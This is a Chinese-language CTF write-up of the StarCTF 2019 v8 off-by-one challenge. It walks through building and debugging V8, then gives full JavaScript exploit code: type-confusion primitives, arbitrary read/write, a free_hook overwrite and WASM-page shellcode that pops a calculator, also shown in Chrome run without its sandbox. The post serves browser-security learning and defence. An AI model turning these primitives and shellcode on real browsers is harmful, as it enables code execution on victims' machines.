StarCTF 2019 v8 off-by-one漏洞学习笔记

阅读量302571

发布时间 : 2020-06-03 11:00:55

银雁冰 @猎影实验室

前言

从2019年开始,与Chrome相关的在野0day披露开始增多,仅笔者所知的有如下几个:

CVE编号 发现厂商
CVE-2019-5786 Google
CVE-2019-13720 Kaspersky
CVE-2020-6418 Google

作为对比,2014-2018年被厂商披露的Chrome在野0day数量为0,上述数据表明接下来会有更多的Chrome在野0day出现。

站在防守方的角度,一旦预感到某种类型的漏洞接下来会出现,就应该提前对相关领域进行研究,以降低未来应急响应的门槛。基于此,笔者决定挑一个例子上手Chrome下的漏洞调试。

那么,选择哪个漏洞比较好呢?一番对比后,笔者选了2019年StarCTF的一道v8 off-by-one的题,这个例子满足如下条件:

  1. 题目较新,一般来说出题者的思路即会反映该领域研究人员的较新研究方向
  2. 漏洞原理较为简单,利用手法比较常规,实践起来比较容易
  3. 网上有较多质量较高的Writeup

 

调试环境搭建

阅读若干Writeup后,笔者决定在Ubuntu 18.04 64位环境调试这个漏洞。

科学上网

要调试这类漏洞,首先需要下载v8源码到本地,这个过程需要进行科学上网。相关操作笔者参考了Migraine的文章。配置好科学上网工具后,使用depot_tools fetch v8代码前,请不要忘记在当前终端设置以下两句(端口因设置而异),不然会提示一些文件未找到的错误:

export https_proxy=http://127.0.0.1:12333
export http_proxy=http://127.0.0.1:12333

下载v8代码到本地后,继续进行调试环境构建,以便于辅助调试,笔者着重构建的几点是:

  1. pwndbg的安装
  2. v8源码中提供的gdb插件gdb-v8-support.py的安装(可参考Migraine的文章),里面的job命令可以结构化打印对象
  3. Turbolizer工具的搭建,此工具对于当前漏洞用处不大,但对涉及到jit的漏洞调试比较有帮助(可参考mem2019的文章)

以下为该题给出的提示:

Yet another off by one

$ nc 212.64.104.189 10000
the v8 commits is 6dc88c191f5ecc5389dc26efa3ca0907faef3598.

构建完上述环境后,切换到相应分支,再次执行gclient sync同步代码,打上diff文件,随后就可以编译本题所需v8引擎了:

fetch v8
cd v8

git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync -D
git apply < /home/test/Desktop/oob.diff

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug

以上命令编译得到一个debug版本的v8,编译得到的可执行文件为d8,运行d8时,—allow-natives-syntax 选项定义了一些v8运行时支持函数,以便于本地调试,配合—allow-natives-syntax 选项,我们可以在js源码中增加若干调用以辅助调试,比较有用的两个调用是:

%DebugPrint(obj)  // 输出对象地址
%SystemBreak()    // 触发调试中断,结合调试器使用

编译选项

本案例中的漏洞可以在debug或release版本下复现,但Writeup给出的利用只能在release版本执行。为了既能调试整个利用过程,又能使用gdb-v8-support.py插件的job等命令,笔者选择编译一个添加了编译选项的release版本,具体地,在编译release版本前,在out.gn/x64.release/args.gn文件中增加以下编译选项:

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

编译完成后,即可用调试器启动release版本的d8,基本调试操作如下:

cd /home/test/v8/out.gn/x64.release
gdb ./d8 // 安装pwndbg之后,启动gdb时会自动启动pwndbg
set args --allow-natives-syntax /home/test/Desktop/test/poc.js
r // run
c // continue

 

漏洞调试

Diff文件分析

这部分请参考《从一道CTF题零基础学V8漏洞利用》这篇文章,里面已经分析得很详细,本文从略。从diff文件中我们可以看到打完补丁的v8源码中存在一个off by one问题,可以在此基础上实现越界读/写,继而实现类型混淆。

PoC构造

知道问题所在后,即可构造PoC,并在调试器中进行验证,这里直接借用《从一道CTF题零基础学V8漏洞利用》这篇文章中给出的PoC,如下:

var a = [1, 2, 3, 1.1];
%DebugPrint(a);
%SystemBreak(); // <- 断点(1)
var data = a.oob(); // 验证越界读
console.log("[*] oob return data:" + data.toString());
%SystemBreak(); // <- 断点(2)
a.oob(2); // 验证越界写
%SystemBreak();

在调试器中看相关结构

将上述代码保存为oob.js文件,用gdb启动之,在断点(1),观察一下数组a的结构:

pwndbg> r
Starting program: /home/test/v8/out.gn/x64.release/d8 --allow-natives-syntax /home/test/Desktop/exp/poc/oob.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7efd78970700 (LWP 33522)]
[New Thread 0x7efd7816f700 (LWP 33523)]
[New Thread 0x7efd7796e700 (LWP 33524)]
[New Thread 0x7efd7716d700 (LWP 33525)]
[New Thread 0x7efd7696c700 (LWP 33526)]
[New Thread 0x7efd7616b700 (LWP 33527)]
[New Thread 0x7efd7596a700 (LWP 33528)]
0x294872acde69 <JSArray[4]>
...

pwndbg> job 0x294872acde69
0x294872acde69: [JSArray]
 - map: 0x0e81fe702ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x100de9751111 <JSArray[0]>
 - elements: 0x294872acde39 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
 - length: 4
 - properties: 0x04dff3640c71 <FixedArray[0]> {
    #length: 0x1d7f06ac01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x294872acde39 <FixedDoubleArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 1.1
 }

pwndbg> job 0x294872acde39
0x294872acde39: [FixedDoubleArray]
 - map: 0x04dff36414f9 <Map>
 - length: 4
           0: 1
           1: 2
           2: 3
           3: 1.1

要注意在v8中打印出的对象地址是实际地址+1,原因在《v8利用入门:从越界访问到RCE》这篇文章中有说到:

为了加快垃圾回收的效率需要区分number和指针,v8的做法是使用低位为标志位对它们进行区分。由于32位、64位系统的指针会字节对齐,指针的最低位一定为0,v8利用这一点最低位为1视为指针,最低位为0视为number,smi在32位系统中只有高31位是有效数据位。

所以数组a在内存中的实际地址应该是0x294872acde68,来验证一下:

pwndbg> telescope 0x294872acde69-1
00:0000│   0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401
01:0008│   0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408
02:0010│   0x294872acde78 —▸ 0x294872acde39 ◂— 0x4dff36414
03:0018│   0x294872acde80 ◂— 0x400000000
04:0020│   0x294872acde88 ◂— 0x0

从上面的输出可以看到存储在0x294872acde68的即为0xe81fe702ed9,对应job命令输出的map值。

还可以注意到的一个有趣的现象是PoC中数组a的elements对象地址位于a对象之前的0x30,且这两个对象是紧邻的:

pwndbg> telescope 0x294872acde39-1
00:0000│   0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│   0x294872acde40 ◂— 0x400000000
02:0010│   0x294872acde48 ◂— 0x3ff0000000000000 // 1的64位浮点数表示形式
03:0018│   0x294872acde50 ◂— 0x4000000000000000 // 2的64位浮点数表示形式
04:0020│   0x294872acde58 ◂— 0x4008000000000000 // 3的64位浮点数表示形式
05:0028│   0x294872acde60 ◂— 0x3ff199999999999a // 1.1的64位浮点数表示形式
06:0030│   0x294872acde68 —▸ 0xe81fe702ed9 ◂— 0x4000004dff36401 // 数组a的map
07:0038│   0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408

浮点数在内存中的表示

在v8中,浮点数在64位内存中的表现形式遵循IEEE 754 64位存储格式,具体如下:

1(符号位) + 11(指数部分) + 52(尾数部分) // 左为高bit,右为低bit

关于IEEE 754 64位的更多细节读者可自行上网查阅,为了便于转换调试器输出的浮点值到普通表示形式,可以编写如下的python脚本进行转换:

import binascii
import struct

hex_list_64 = ['3ff0000000000000', '4000000000000000', '4008000000000000', '3ff199999999999a']

for value in hex_list_64:
    print(struct.unpack('>d', binascii.unhexlify(value)))

// 转换输出如下
(1.0,)
(2.0,)
(3.0,)
(1.1,)

越界读取

在调试器中输入c,继续运行PoC代码,断下后再次进行观察:

pwndbg> c
Continuing.
[*] oob return data:7.881079421936e-311

7.881079421936e-311是什么呢?如果我们将数组a的map值转化为64位浮点数,可以得到如下输出:

import binascii
import struct

hex_list_64 = ['00000e81fe702ed9']

for value in hex_list_64:
    print(struct.unpack('>d', binascii.unhexlify(value)))

// 转换输出如下
(7.881079421936e-311,)

可以看到,PoC中借助漏洞越界读取了elements对象后面的8字节,而这8字节正是数组a的map指针。

越界写入

在调试器中再次输入c,继续运行PoC代码,断下后再次进行观察:

pwndbg> telescope 0x294872acde39-1
00:0000│   0x294872acde38 —▸ 0x4dff36414f9 ◂— 0x4dff36401
01:0008│   0x294872acde40 ◂— 0x400000000
02:0010│   0x294872acde48 ◂— 0x3ff0000000000000
03:0018│   0x294872acde50 ◂— 0x4000000000000000
04:0020│   0x294872acde58 ◂— 0x4008000000000000
05:0028│   0x294872acde60 ◂— 0x3ff199999999999a
06:0030│   0x294872acde68 ◂— 0x4000000000000000 <- 可以看数组a的map指针被改写了
07:0038│   0x294872acde70 —▸ 0x4dff3640c71 ◂— 0x4dff36408

可以看到相邻的数组a的map指针被改写了,改写后的值为数值2对应的64位浮点数表示形式。

通过对上述PoC的调试,可以看到,借助该漏洞可以读写一个数组对象的map指针,由于v8依赖map类型对js对象进行解析(这部分的相关细节网上有详解,此处不再过多展开),所以可以借助该漏洞对一个数组对象的map指针进行改写,从而产生类型混淆。

 

利用编写

借助上述类型混淆可以将一个浮点数组转变为一个对象数组,反过来也可以,在此基础上可构造任意地址泄露和任意地址写入两个原语。

任意地址泄露

首先构造任意地址泄露原语。这个比较简单,首先定义一个对象数组,将待泄露的对象地址保存到这个对象数组,随后借助漏洞改写对象数组的map指针,使其变为一个浮点数组。随后从“浮点数组”中读取对象指针。

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];

var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map);
    return obj_addr;
}

需要注意的是,泄露出来的对象指针是64位浮点数形式,先要将其转换为64位整数形式,然后减1。1后面加n是让其变成64位的BigInt,否则运算时会提示类型不一致。

将浮点数转为整数需要定义一个f2i函数,这个函数的基本思路是定义一个ArrayBuffer对象,随后同时用其初始化一个Float64Array数组和一个BigUint64Array数组,通过用两个数组操作同一片内存,实现64位浮点数与64位整数之间的转换,后面的i2f同理:

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}

function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}

任意对象伪造

任意对象伪造的思路和任意地址泄露的思路一致。先布局一块内存,然后将该内存的首地址传入一个浮点数组,接着利用漏洞将该浮点数组的map改写为对象数组的map,最后将伪造的地址以对象的形式进行读取:

function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map);
    return faked_obj;
}

任意地址读写

有了任意地址泄露和任意对象伪造两个原语后,理论上就可以实现代码执行了,大部分Writeup中的思路是先借助上述两个原语实现任意地址读写,采用的思路是构造一个fake_array如下:

var fake_array = [
    float_array_map,    // map
    i2f(0n),            // prototype
    i2f(0x41414141n),   // elements
    i2f(0x1000000000n), // length
    1.1,
    2.2,
];

《从一道CTF题零基础学V8漏洞利用》这篇文章里面有提到,如果fake_array在构造时没有最后两个properties,相关结构会在内存中发生变化,本文不对其中细节进行深究,直接采用有6个成员的fake_array。

构造完fake_array后,我们先在内存中看一下其结构:

// fake_array
pwndbg> job 0x1744cd9cf9c9
0x1744cd9cf9c9: [JSArray]
 - map: 0x264dae342ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x22ccc9151111 <JSArray[0]>
 - elements: 0x1744cd9cf989 <FixedDoubleArray[6]> [PACKED_DOUBLE_ELEMENTS]
 - length: 6
 - properties: 0x3a07f47c0c71 <FixedArray[0]> {
    #length: 0x11556e8001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x1744cd9cf989 <FixedDoubleArray[6]> {
           0: 2.08076e-310
           1: 0
           2: 5.40901e-315
           3: 3.39519e-313
           4: 1.1
           5: 2.2
 }

// fake_array.elements
pwndbg> job 0x1744cd9cf989
0x1744cd9cf989: [FixedDoubleArray]
 - map: 0x3a07f47c14f9 <Map>
 - length: 6
           0: 2.08076e-310
           1: 0
           2: 5.40901e-315
           3: 3.39519e-313
           4: 1.1
           5: 2.2

pwndbg> telescope 0x1744cd9cf989-1
00:0000│   0x1744cd9cf988 —▸ 0x3a07f47c14f9 ◂— 0x3a07f47c01
01:0008│   0x1744cd9cf990 ◂— 0x600000000
02:0010│   0x1744cd9cf998 —▸ 0x264dae342ed9 ◂— 0x400003a07f47c01
03:0018│   0x1744cd9cf9a0 ◂— 0x0
04:0020│   0x1744cd9cf9a8 ◂— 0x41414141 /* 'AAAA' */
05:0028│   0x1744cd9cf9b0 ◂— 0x1000000000
06:0030│   0x1744cd9cf9b8 ◂— 0x3ff199999999999a
07:0038│   0x1744cd9cf9c0 ◂— 0x400199999999999a

// 可以看到fake_array.elements在前,大小为0x40字节,第一个element值相对头部偏移为+0x10
// fake_array紧邻fake_array.elements,其头部相对fake_array.elements头部偏移为+0x40
pwndbg> p/x 0x1744cd9cf9c9-0x1744cd9cf989
$1 = 0x40

Writeup中用来构造任意地址读写原语的思路是这样的:借助任意地址泄露原语计算得到fake_array的第一个元素在内存中的基地址,然后借助任意对象伪造原语将该地址处开始的内存伪造为一个faked_object,此时数据结构之间的对应关系如下(下图主要参考《从一道CTF题零基础学V8漏洞利用》这篇文章):

从上图可知,得到伪造的对象后,只要修改fake_array[2],就可以控制faked_object的elements成员,在修改elements后,再对faked_object进行读写,就可以读写elements指针指向处的内存,这样就具备了任意地址读写能力,在此基础上封装两个原语即可:

var fake_array = [
    float_array_map,    // map
    i2f(0n),            // prototype
    i2f(0x41414141n),   // elements
    i2f(0x1000000000n), // length
    1.1,
    2.2,
];

var fake_array_addr  = addressOf(fake_array);
var fake_object_addr = fake_array_addr - 0x40n + 0x10n;
var faked_object = fakeObject(fake_object_addr);

function read64(addr)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    let read_data = f2i(faked_object[0]);
    console.log("[*] read from: 0x" + hex(addr) + " : 0x" + hex(read_data));
    return read_data;
}

function write64(addr, data)
{
    fake_array[2] = i2f(addr - 0x10n + 0x1n);
    faked_object[0] = i2f(data);
    console.log("[*] write to: 0x" + hex(addr) + ": 0x" + hex(data))
}

有了任意地址读写原语后,接下来的操作就比较简单了。笔者在此基础上实践了两种方法:

  1. 泄露libc地址,劫持free_hook为system,调用相关函数,传入命令行实现代码执行
  2. 找到wasm的代码页指针,将shellcode拷贝到此代码页,调用wasm接口实现代码执行

代码执行:劫持free_hook

如何劫持free_hook呢?首先要泄露d8模块基址。这里笔者采用的是《从一道CTF题零基础学V8漏洞利用》这篇文章中介绍的稳定泄露的方法,具体步骤读者可以参考那篇文章:

var a = [1.1, 2.2, 3.3];
var code_addr  = read64(addressOf(a.constructor) + 0x30n);
var leak_d8_addr = read64(code_addr + 0x41n);
console.log("[*] find libc leak_d8_addr: 0x" + hex(leak_d8_addr));

上述代码泄露了d8模块里面的一个指针,接着需要根据该指针计算得到d8模块的基址,作为一个初学者,笔者在实践的过程中,发现所有文章都对这一步骤一笔带过,这里简述笔者采用的方法:

先按照《从一道CTF题零基础学V8漏洞利用》的方法在调试器中进行查找,某次定位到leak_d8_addr为0x561083f56780,用vmap命令显示该地址的相关信息,输出中最前面有一个0x561083607000,这个函数即为d8模块的_start函数在内存中的地址:

pwndbg> vmmap 0x561083f56780
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x561083607000     0x5610841df000 r-xp   bd8000 642000 /home/test/v8/out.gn/x64.release/d8

通过以下步骤即可计算得到d8基址:

  1. 计算在内存中leak_d8_addr相对于_start的偏移,记为offset1
  2. 在IDA中计算得到_start相对于d8基址的偏移,记为offset2
  3. d8基址 = leak_d8_addr – offset1 – offset2

下面为笔者某次实践中对应的相关偏移,及相关计算过程:

// _start 0x561083607000 
// leak_d8_addr = 0x561083f56780
// leak_d8_addr - _start = ‭0x94F780‬
// _start - leak_d8_addr = 0x642000
// leak_d8_addr - base = 0x642000 + 94F780 = 0xF91780
var d8_base_addr = leak_d8_addr - 0xF91780n;
console.log("[*] d8_base_addr: 0x" + hex(d8_base_addr));

泄露得到d8模块基址后,先在d8模块中定位_start函数,找到该函数中使用的__libc_start_main_ptr函数指针:

// 由d8的导出表定位到_start函数
.text:0000000000642000                   public _start
.text:0000000000642000                   _start proc near
.text:0000000000642000                   ; __unwind {
.text:0000000000642000 31 ED             xor     ebp, ebp
.text:0000000000642002 49 89 D1          mov     r9, rdx         ; rtld_fini
.text:0000000000642005 5E                pop     rsi             ; argc
.text:0000000000642006 48 89 E2          mov     rdx, rsp        ; ubp_av
.text:0000000000642009 48 83 E4 F0       and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000064200D 50                push    rax
.text:000000000064200E 54                push    rsp             ; stack_end
.text:000000000064200F 4C 8D 05 2A 6A BD+lea     r8, __libc_csu_fini ; fini
.text:0000000000642016 48 8D 0D B3 69 BD+lea     rcx, __libc_csu_init ; init
.text:000000000064201D 48 8D 3D 6C 2F 01+lea     rdi, main       ; main
.text:0000000000642024 FF 15 76 B7 C2 00 call    cs:__libc_start_main_ptr
.text:000000000064202A F4                hlt
.text:000000000064202A                   ; } // starts at 642000
.text:000000000064202A                   _start endp

// 由上面的函数指针定位到got表中的相关项
.got:000000000126D7A0 __libc_start_main_ptr dq offset __libc_start_main
.got:000000000126D7A0                                         ; DATA XREF: _start+24↑r

得到d8基址和__libc_start_main的offset后,就可以在代码中读取内存中的libc_start_main_addr函数地址,接着通过IDA计算得到libc_start_main相对于libc-2.27.so基地址的偏移,这样我们就可计算得到libc库在内存中的基址。随后在其导出表查找free_hook、system这两个函数的偏移,并加上libc在内存中的基址,就可得到free_hook、system两个函数在内存中的地址。

// __libc_start_main_ptr in d8
var d8_got_libc_start_main_addr = d8_base_addr + 0x126d7a0n;
var libc_start_main_addr = read64(d8_got_libc_start_main_addr);
console.log("[*] find libc_start_main_addr: 0x" + hex(libc_start_main_addr));

var libc_base_addr = libc_start_main_addr - 0x21AB0n;
var lib_system_addr = libc_base_addr + 0x4F440n;
var libc_free_hook_addr = libc_base_addr + 0x3ED8E8n;

console.log("[*] find libc libc_base_addr: 0x" + hex(libc_base_addr));
console.log("[*] find libc lib_system_addr: 0x" + hex(lib_system_addr));
console.log("[*] find libc libc_free_hook_addr: 0x" + hex(libc_free_hook_addr));

找到上述信息后,理论上借助任意地址写原语将free_hook的地址修改为system的地址即可,但实践时发现write64这个原语无法正确完成写入,多篇分析文章已就这个问题进行讨论,解决办法是再借助DataView对象封装另一个任意地址写原语:

var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;

function write64_dataview(addr, data)
{
    write64(buf_backing_store_addr, addr);
    data_view.setFloat64(0, i2f(data), true);
    console.log("[*] write(use dataview) to: 0x" + hex(addr) + ": 0x" + hex(data));
}

此时就可以劫持free_hook并实现代码执行了:

write64_dataview(libc_free_hook_addr, lib_system_addr);
console.log("[*] Write ok.");
console.log("gnome-calculator");

效果如下:

代码执行:wasm

相比较之前的方法,wasm方法只需要很少的硬编码,也无需借助DataView再构造一个写原语,许多Writeup中已经对该种方法进行详细说明,本文不再过多叙述:

ar wasmCode = new Uint8Array([略]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);

console.log("[*] leak wasm func addr: 0x" + hex(f_addr));

var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x08n) - 1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 1n;
var rwx_page_addr  = read64(wasm_instance_addr + 0x88n);

console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));

function copy_shellcode(addr, shellcode)
{
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addressOf(buf);
    let backing_store_addr = buf_addr + 0x20n;

    write64(backing_store_addr, addr);
    for(let i = 0; i < shellcode.length; i++)
    {
        dataview.setUint32(4*i, shellcode[i], true);
    }
}

// https://xz.aliyun.com/t/5003
var shellcode = [
    0x90909090, 
    0x90909090, 
    0x782fb848,
    0x636c6163,
    0x48500000,
    0x73752fb8,
    0x69622f72,
    0x8948506e,
    0xc03148e7,
    0x89485750,
    0xd23148e6,
    0x3ac0c748,
    0x50000030,
    0x4944b848,
    0x414c5053,
    0x48503d59,
    0x3148e289,
    0x485250c0,
    0xc748e289,
    0x00003bc0,
    0x050f00
];

console.log("[*] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[*] Popping calc");
f();

对上述代码中的shellcode注解如下:

这种方法可以更为简单地实现代码执行,效果如下:

Chrome下的代码执行

题目原材料中给了一个对应的Chrome程序,写一个index.html脚本调用上述rce_wasm.js文件,以—no-sandbox模式启动该Chrome,打开index.html,即可在Chrome中实现代码执行:

 

写在最后

借助本次实践,笔者初步上手了Linux下v8的漏洞调试,包括源码下载、环境搭建、漏洞成因调试和漏洞利用编写,以及对gdb、pwndbg下相关调试指令的熟悉。近年来各大CTF中与v8有关的题目越来越多,网上的学习资料也开始增多,希望此文对读者上手该领域也有一定帮助。

 

参考资料

主要参考:
题目资料下载
官方Writeup材料
v8 Base
从一道CTF题零基础学V8漏洞利用
StarCTF 2019 (*CTF) oob 初探V8漏洞利用

其他资料:
Chrome v8 exploit – OOB
*CTF2019 OOB-v8 Writeup
star ctf Chrome oob Writeup
*CTF 2019 – Chrome oob-v8
v8利用入门:从越界访问到RCE
Exploiting v8: *CTF 2019 oob-v8

本文由安恒信息安全研究院原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/207483

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
安恒信息安全研究院
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66